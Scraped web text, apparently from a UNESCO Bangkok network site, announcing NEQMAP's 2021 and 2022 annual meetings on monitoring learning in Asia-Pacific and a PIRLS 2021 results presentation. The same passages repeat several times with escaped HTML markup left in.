The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

